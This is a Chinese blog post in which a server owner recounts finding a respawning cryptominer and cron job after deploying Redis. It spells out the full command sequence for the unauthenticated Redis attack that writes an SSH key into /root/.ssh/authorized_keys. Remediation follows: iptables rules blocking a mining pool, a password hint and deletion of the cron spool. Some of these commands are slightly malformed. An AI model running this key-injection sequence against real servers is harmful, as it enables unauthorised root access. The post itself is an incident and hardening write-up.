前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。
进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。
[root@VM_0_13_centos etc]# top
果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。
[root@VM_0_13_centos etc]# kill -9 27882
在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top
命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:
[root@VM_0_13_centos etc]# crontab -l
果然有一个定时任务,那就删掉他。
[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root
等我再次杀掉那个异常线程在 top
的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....
我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:
$ ssh-keygen –t rsa
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa [email protected]
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。
$ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
恢复
$ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
配置文件redis.conf 中找到requirePass 项
$ systemctl disabled cron.service
$ reboot
$ rm -rf /var/spool/cron/root
这次有惊无险,不然就得重装系统了。
如果觉得有用就关注我吧~